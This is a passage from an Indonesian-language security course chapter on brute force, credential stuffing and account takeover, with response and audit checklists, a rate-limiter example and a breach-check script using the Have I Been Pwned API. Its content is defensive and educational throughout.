- Account lockout: kunci akun setelah 5x gagal
- CAPTCHA: bedakan manusia vs bot
- Check breached passwords: tolak password yang sudah bocor
- Monitor login attempts: deteksi pola mencurigakan
- IP reputation: blokir IP dari datacenter/botnet
- Behavioral analysis: deteksi anomali (lokasi, device, waktu)
Python - Rate Limiter Sederhana from collections import defaultdict from time import time class RateLimiter: """Rate limiter untuk mencegah brute force.""" def __init__(self, max_attempts=5, window=300): self.max_attempts = max_attempts # max percobaan self.window = window # window dalam detik (5 menit) self.attempts = defaultdict(list) def is_allowed(self, ip): """Cek apakah IP boleh mencoba login.""" now = time() # Hapus attempts lama self.attempts[ip] = [t for t in self.attempts[ip] if now - t < self.window] # Cek jumlah attempts if len(self.attempts[ip]) >= self.max_attempts: return False, "Too many attempts. Try again later." # Catat attempt self.attempts[ip].append(now) return True, "OK" # Contoh penggunaan limiter = RateLimiter(max_attempts=5, window=300) # Simulasi login attempts for i in range(7): allowed, msg = limiter.is_allowed("192.168.1.100") print(f"Attempt {i+1}: {msg}") # Output: # Attempt 1: OK # Attempt 2: OK # Attempt 3: OK # Attempt 4: OK # Attempt 5: OK # Attempt 6: Too many attempts. Try again later. # Attempt 7: Too many attempts. Try again later.
- Brute force = mencoba semua kunci yang mungkin dibuat untuk SATU pintu
- Credential stuffing = mencoba kunci yang sudah dicuri dari rumah lain ke BANYAK pintu
Brute force butuh waktu lama tapi fokus. Credential stuffing cepat tapi butuh "kunci curian" dari breach lain.
- OWASP - Credential Stuffing Prevention Cheat Sheet
- NIST SP 800-63B - Memorized Secret Verifiers
- Hashcat - Advanced Password Recovery (hashcat.net)
- Hydra - Network Login Cracker (thc.org/thc-hydra)
ACCOUNT TAKEOVER
Account Takeover (ATO) adalah serangan di mana attacker mendapat kontrol penuh atas akun korban. Ini adalah tujuan akhir dari banyak serangan - setelah ATO, attacker bisa melakukan apa saja: mencuri data, uang, identitas, atau menggunakan akun untuk menyerang orang lain.
Statistik ATO
Juniper Research
Verizon DBIR 2024
Ekata 2024
Microsoft 2024
Metode ATO
| METODE | CARA KERJA | CONTOH |
|---|---|---|
| Credential Stuffing | Pakai password bocor dari breach lain | Collection #1-5 |
| Phishing | Tipu korban berikan kredensial | Email palsu bank |
| Session Hijacking | Curi session cookie/token | XSS, MITM |
| SIM Swap | Transfer nomor HP ke SIM attacker | Social engineering operator |
| Malware | Keylogger, info stealer | Emotet, TrickBot |
| Social Engineering | Manipulasi support untuk reset password | Vishing |
| Recovery Abuse | Eksploitasi proses recovery | Security question guessing |
Indikator ATO
PASSWORD BERUBAH
EMAIL RECOVERY BERUBAH
NOMOR HP BERUBAH
MFA BARU AKTIF
LOGIN LOKASI ANEH
TRANSAKSI MENCURIGAKAN
Pencegahan ATO
Untuk User:
- MFA (wajib untuk semua akun penting)
- Password unik per akun
- Monitor login activity berkala
- Setup recovery options yang aman
- Notification alerts untuk perubahan akun
- Review connected apps secara berkala
Untuk Developer/Admin:
- Behavioral analytics: deteksi anomali login
- Step-up authentication: MFA untuk aksi sensitif
- Device fingerprinting: deteksi device baru
- Location-based alerts: notifikasi login dari lokasi baru
- Rate limiting pada perubahan akun
- Notify user saat password/email/phone berubah
- Delay recovery: tunggu 24-72 jam untuk perubahan kritis
Response Plan Jika ATO Terjadi
Sadari akun dibajak
Proses recovery resmi
Ganti password, revoke sessions
Cek aktivitas attacker
Lapor ke platform & pihak berwajib
Checklist - ATO Response # ============================================ # ACCOUNT TAKEOVER RESPONSE CHECKLIST # ============================================ # 1. RECOVERY [ ] Gunakan "Forgot password" / official recovery [ ] Hubungi support platform jika recovery gagal [ ] Siapkan bukti identitas (KTP, selfie, dll) [ ] Cek email untuk link recovery resmi # 2. SECURE ACCOUNT [ ] Ganti password (password baru yang unik & kuat) [ ] Ganti security questions (jika ada) [ ] Review & hapus device MFA attacker [ ] Setup MFA dengan device Anda sendiri [ ] Review & revoke connected apps [ ] Logout semua sessions ("Sign out everywhere") # 3. AUDIT DAMAGE [ ] Cek email terkirim (attacker mungkin kirim phishing) [ ] Cek transaksi finansial (bank, e-wallet, e-commerce) [ ] Cek perubahan data profil (email, nomor HP, alamat) [ ] Cek postingan/upload (attacker mungkin post sesuatu) [ ] Cek friends/followers (attacker mungkin add/remove) # 4. NOTIFY [ ] Inform kontak bahwa akun sempat dibajak [ ] Laporkan ke platform (support ticket) [ ] Laporkan ke bank jika ada transaksi fraud [ ] Laporkan ke polisi (surat keterangan) [ ] Laporkan ke BSSN jika berdampak luas # 5. PREVENT FUTURE [ ] Cek Have I Been Pwned untuk email Anda [ ] Ganti password di akun lain yang pakai password sama [ ] Setup MFA di semua akun penting [ ] Aktifkan notifikasi untuk perubahan akun [ ] Review recovery options
Tanggal 15 Juli 2020, akun Twitter Barack Obama, Elon Musk, Jeff Bezos, Apple, Uber, dan banyak lainnya di-hack dalam serangan terkoordinasi. Attacker menggunakan SIM swap + social engineering terhadap karyawan Twitter untuk mendapatkan akses internal.
Dampak: tweet scam Bitcoin yang mengumpulkan $118,000+ dalam beberapa jam. Twitter menangguhkan posting tweet selama beberapa jam untuk akun verified.
- Initial access = pencuri masuk rumah (lewat jendela rusak, kunci duplikat)
- Change credentials = ganti kunci rumah, usir pemilik asli
- Enable attacker MFA = pasang alarm yang hanya pencuri yang bisa matikan
- Exploit = ambil semua barang berharga, pakai identitas korban untuk pinjam uang
- Ekata - State of Account Takeover 2024
- Microsoft - Account Takeover Protection
- FBI IC3 - Account Takeover Fraud Report
- OWASP - Authentication Cheat Sheet
AUDIT KEAMANAN AKUN
Audit keamanan akun adalah proses meninjau dan mengevaluasi konfigurasi keamanan semua akun digital Anda secara menyeluruh. Ini adalah praktik paling praktis dari bab ini - saatnya menerapkan semua yang telah dipelajari.
Tujuan Audit
- Identifikasi akun dengan password lemah/reused
- Pastikan MFA aktif di semua akun kritis
- Verifikasi recovery options sudah aman
- Cek data breach yang melibatkan akun Anda
- Review connected apps & permissions
- Dokumentasikan semua akun yang Anda miliki
- Buat action plan untuk perbaikan
7 Langkah Audit Akun
Langkah 1: Inventory Akun
Buat daftar lengkap semua akun digital Anda:
Template - Akun Inventory # ============================================ # AKUN INVENTORY # Tanggal: 2026-09-09 # ============================================ Email: [ ] primary@gmail.com [ ] work@company.com [ ] recovery@protonmail.com Finance: [ ] BCA (m-banking) [ ] Mandiri [ ] OVO / GoPay / Dana [ ] PayPal [ ] Binance / Tokocrypto Social Media: [ ] Facebook [ ] Instagram [ ] Twitter/X [ ] LinkedIn [ ] TikTok [ ] YouTube Shopping: [ ] Tokopedia [ ] Shopee [ ] Lazada [ ] Bukalapak [ ] Amazon Productivity: [ ] Google Workspace [ ] Microsoft 365 [ ] Dropbox / Google Drive [ ] Notion / Evernote [ ] GitHub / GitLab Entertainment: [ ] Netflix [ ] Spotify [ ] Disney+ [ ] Steam / Epic Games Utilities: [ ] Apple ID / Google Account [ ] WhatsApp (linked to phone) [ ] Telegram [ ] Signal Government: [ ] Pajak Online (DJP Online) [ ] BPJS [ ] Dukcapil [ ] Samsat Other: [ ] ... (tambahkan sesuai kebutuhan)
Langkah 2: Password Check
Cek kekuatan dan keunikan password setiap akun:
Checklist - Password Audit # ============================================ # PASSWORD AUDIT CHECKLIST # ============================================ Untuk setiap akun: [ ] Password minimal 12 karakter? [ ] Password unik (tidak dipakai di akun lain)? [ ] Password tidak ada di common passwords list? [ ] Password tidak mengandung info personal? [ ] Password disimpan di password manager? Tools untuk cek: - Have I Been Pwned (pwnedpasswords.com) - Security.org password strength checker - Password manager audit feature Prioritas perbaikan: 1. Email utama (CRITICAL) 2. Password manager master password (CRITICAL) 3. Banking & finance (CRITICAL) 4. Social media (HIGH) 5. Shopping (MEDIUM) 6. Entertainment (LOW)
Langkah 3: MFA Check
Verifikasi MFA aktif di semua akun kritis:
Checklist - MFA Audit # ============================================ # MFA AUDIT CHECKLIST # ============================================ CRITICAL (WAJIB MFA): [ ] Email utama (Gmail, Outlook, dll) [ ] Password manager [ ] Banking (BCA, Mandiri, dll) [ ] E-wallet (OVO, GoPay, Dana) [ ] Crypto exchange [ ] Cloud storage (Google Drive, Dropbox) HIGH (SANGAT DISARANKAN): [ ] Social media (FB, IG, Twitter, LinkedIn) [ ] Shopping (Tokopedia, Shopee) [ ] Government (DJP Online, BPJS) [ ] Work accounts (Slack, Zoom, Office 365) MEDIUM (DISARANKAN): [ ] Entertainment (Netflix, Spotify) [ ] Gaming (Steam, Epic) [ ] Forum & komunitas MFA Method Check: [ ] Authenticator app (Aegis, 2FAS, Google Auth) [ ] Hardware key (YubiKey) untuk akun critical [ ] Backup codes disimpan offline [ ] Recovery email/phone sudah verified [ ] Tidak hanya andalkan SMS OTP
Langkah 4: Recovery Check
Checklist - Recovery Audit # ============================================ # RECOVERY AUDIT CHECKLIST # ============================================ Recovery Email: [ ] Recovery email sudah di-setup [ ] Recovery email != email utama [ ] Recovery email punya MFA [ ] Recovery email masih aktif & bisa diakses Recovery Phone: [ ] Nomor recovery sudah di-setup [ ] Nomor masih aktif [ ] SIM punya PIN aktif (anti SIM swap) [ ] Kontak operator untuk blokir darurat Backup Codes: [ ] Download backup codes dari setiap akun [ ] Print & simpan di brankas rumah [ ] Simpan encrypted copy di password manager [ ] Catat tanggal download [ ] Test recovery process (minimal 1x/tahun) Security Questions: [ ] Hindari jika memungkinkan [ ] Jika terpaksa, gunakan jawaban random [ ] Simpan jawaban di password manager
Langkah 5: Breach Check
Bash - Cek Breach untuk Semua Email # Cek semua email Anda di Have I Been Pwned # Perlu API key (gratis untuk penggunaan pribadi) $ API_KEY="YOUR_HIBP_API_KEY" $ EMAILS=("primary@gmail.com" "work@company.com" "recovery@protonmail.com") for email in "${EMAILS[@]}"; do echo "Checking: $email" curl -s -H "hibp-api-key: $API_KEY" \ "https://haveibeenpwned.com/api/v3/breachedaccount/$email?truncateResponse=false" | \ jq '.[] | "\(.Name) - \(.BreachDate) - \(.DataClasses | join(", "))"' echo "---" done # Output contoh: # LinkedIn - 2021-06-14 - Email, Name, Phone # Tokopedia - 2020-05-02 - Email, Name, Password # Adobe - 2013-10-04 - Email, Password hint
Langkah 6: Apps & Permissions Review
Checklist - Apps & Permissions # ============================================ # APPS & PERMISSIONS REVIEW # ============================================ Google Account: - Buka: myaccount.google.com/permissions [ ] Review semua apps yang punya akses [ ] Revoke akses apps yang tidak dipakai [ ] Cek permission level (read/write/full) Facebook: - Buka: Settings -> Apps and Websites [ ] Review apps connected [ ] Remove apps tidak aktif [ ] Cek data yang di-share Smartphone: - Android: Settings -> Privacy -> Permission Manager - iOS: Settings -> Privacy & Security [ ] Review apps dengan akses lokasi [ ] Review apps dengan akses kamera/mic [ ] Review apps dengan akses kontak [ ] Revoke permission tidak perlu Browser Extensions: [ ] Review semua extensions terpasang [ ] Hapus extensions tidak dipakai [ ] Cek permission extensions [ ] Pastikan dari sumber terpercaya
Langkah 7: Action Plan
Template - Audit Action Plan # ============================================ # AUDIT ACTION PLAN # Tanggal Audit: 2026-09-09 # ============================================ CRITICAL (selesaikan dalam 24 jam): [ ] Ganti password email utama (sudah bocor di breach 2020) [ ] Setup MFA di banking BCA (belum aktif!) [ ] Revoke akses app "SuspiciousApp" dari Google account HIGH (selesaikan dalam 1 minggu): [ ] Setup MFA di Instagram, Twitter, LinkedIn [ ] Ganti password di 5 akun yang reuse password [ ] Download backup codes untuk semua akun critical [ ] Setup recovery email terpisah MEDIUM (selesaikan dalam 1 bulan): [ ] Install password manager (Bitwarden) [ ] Migrasi semua password ke password manager [ ] Review & hapus 10 akun tidak terpakai [ ] Setup hardware key (YubiKey) untuk akun critical LOW (jadwalkan dalam 3 bulan): [ ] Review semua smartphone app permissions [ ] Hapus browser extensions tidak perlu [ ] Test recovery process untuk 3 akun utama [ ] Audit connected apps di semua platform JADWAL AUDIT BERIKUTNYA: - Quick check: 1 bulan (15 menit) - Partial audit: 3 bulan (1 jam) - Full audit: 6 bulan (2-3 jam)
Script Audit Otomatis
Python - Account Security Audit Script import json import hashlib import requests from datetime import datetime class AccountAuditor: """Audit keamanan akun digital.""" def __init__(self): self.accounts = [] self.issues = [] def add_account(self, name, email, has_mfa, password_strength, last_audit, recovery_set): """Tambah akun ke audit.""" self.accounts.append({ 'name': name, 'email': email, 'has_mfa': has_mfa, 'password_strength': password_strength, # weak/medium/strong 'last_audit': last_audit, 'recovery_set': recovery_set }) def check_password_breach(self, password): """Cek apakah password sudah bocor (via HIBP API).""" sha1 = hashlib.sha1(password.encode()).hexdigest().upper() prefix, suffix = sha1[:5], sha1[5:] try: r = requests.get( f'https://api.pwnedpasswords.com/range/{prefix}', timeout=5 ) for line in r.text.split(): if line.startswith(suffix): count = line.split(':')[1] return True, int(count) return False, 0 except: return None, 0 def run_audit(self): """Jalankan audit lengkap.""" print(f"\n{'='*60}") print(f"ACCOUNT SECURITY AUDIT REPORT") print(f"Date: {datetime.now().strftime('%Y-%m-%d %H:%M')}") print(f"{'='*60}\n") for acc in self.accounts: print(f"\n[{acc['name']}]") print(f" Email: {acc['email']}") # Check MFA if not acc['has_mfa']: print(" [CRITICAL] MFA TIDAK AKTIF!") self.issues.append((acc['name'], 'MFA tidak aktif')) else: print(" [OK] MFA aktif") # Check password strength if acc['password_strength'] == 'weak': print(" [CRITICAL] Password lemah!") self.issues.append((acc['name'], 'Password lemah')) elif acc['password_strength'] == 'medium': print(" [WARNING] Password sedang") self.issues.append((acc['name'], 'Password perlu ditingkatkan')) else: print(" [OK] Password kuat") # Check recovery if not acc['recovery_set']: print(" [WARNING] Recovery options belum di-setup") self.issues.append((acc['name'], 'Recovery belum di-setup')) # Check last audit print(f" Last audit: {acc['last_audit']}") # Summary print(f"\n{'='*60}") print(f"SUMMARY") print(f"{'='*60}") print(f"Total akun: {len(self.accounts)}") print(f"Total issues: {len(self.issues)}") if self.issues: print("\nACTION ITEMS:") for i, (acc, issue) in enumerate(self.issues, 1): print(f" {i}. {acc}: {issue}") # Contoh penggunaan auditor = AccountAuditor() # Tambah akun-akun auditor.add_account("Gmail Utama", "me@gmail.com", has_mfa=True, password_strength='strong', last_audit="2026-06-01", recovery_set=True) auditor.add_account("BCA", "me@bank.com", has_mfa=False, password_strength='medium', last_audit="2025-12-01", recovery_set=False) auditor.add_account("Instagram", "me@ig.com", has_mfa=True, password_strength='weak', last_audit="2026-01-15", recovery_set=True) # Jalankan audit auditor.run_audit()
Jadwal Audit Berkala
| FREKUENSI | AKTIVITAS | DURASI |
|---|---|---|
| Mingguan | Cek notifikasi keamanan, review login activity | 5 menit |
| Bulanan | Cek Have I Been Pwned, review connected apps | 15 menit |
| 3 Bulanan | Partial audit (akun kritis), test recovery | 1 jam |
| 6 Bulanan | Full audit semua akun, update action plan | 2-3 jam |
| Tahunan | Audit komprehensif, hapus akun tidak terpakai | Sehari |
- Audit mingguan = cek tensi & berat badan
- Audit bulanan = cek darah sederhana
- Audit 3 bulanan = konsultasi dokter spesialis
- Audit 6 bulanan = medical check-up lengkap
- Audit tahunan = comprehensive health screening
Seperti kesehatan, keamanan akun butuh pemantauan rutin. Jangan tunggu "sakit" (akun dibajak) baru periksa!
Keamanan akun bukan sekali setup, selesai. Dunia digital terus berubah - breach baru terjadi setiap hari, teknik serangan berevolusi, dan akun Anda terus "berinteraksi" dengan layanan baru. Audit berkala adalah kewajiban, bukan pilihan.
- Have I Been Pwned - API Documentation
- Google - Security Checkup Tool
- Microsoft - Account Security Dashboard
- Bitwarden - Security Audit Features
- NIST SP 800-63B - Authenticator Requirements
DIAGNOSTIK KOMPETENSI
Uji pemahaman Anda tentang Bab 09! Target minimal: 70% untuk melanjutkan ke Bab 10.
- Total 10 pertanyaan pilihan ganda
- Klik opsi untuk menjawab - feedback langsung
- Benar = HIJAU, salah = MAGENTA
- Penjelasan muncul setelah menjawab
- Klik "LIHAT HASIL AKHIR" untuk skor final
-
- NIST SP 800-63A - Enrollment and Identity Proofing
- NIST SP 800-63B - Authentication and Lifecycle Management
- OWASP - Authentication Cheat Sheet
- OWASP - Credential Stuffing Prevention Cheat Sheet
- Have I Been Pwned - Pwned Passwords Database
- FIDO Alliance - WebAuthn Specification
- RFC 6238 - TOTP Algorithm
- Verizon - Data Breach Investigations Report 2024
- Bitwarden - Security Whitepaper
- Microsoft - 99.9% of automated attacks blocked by MFA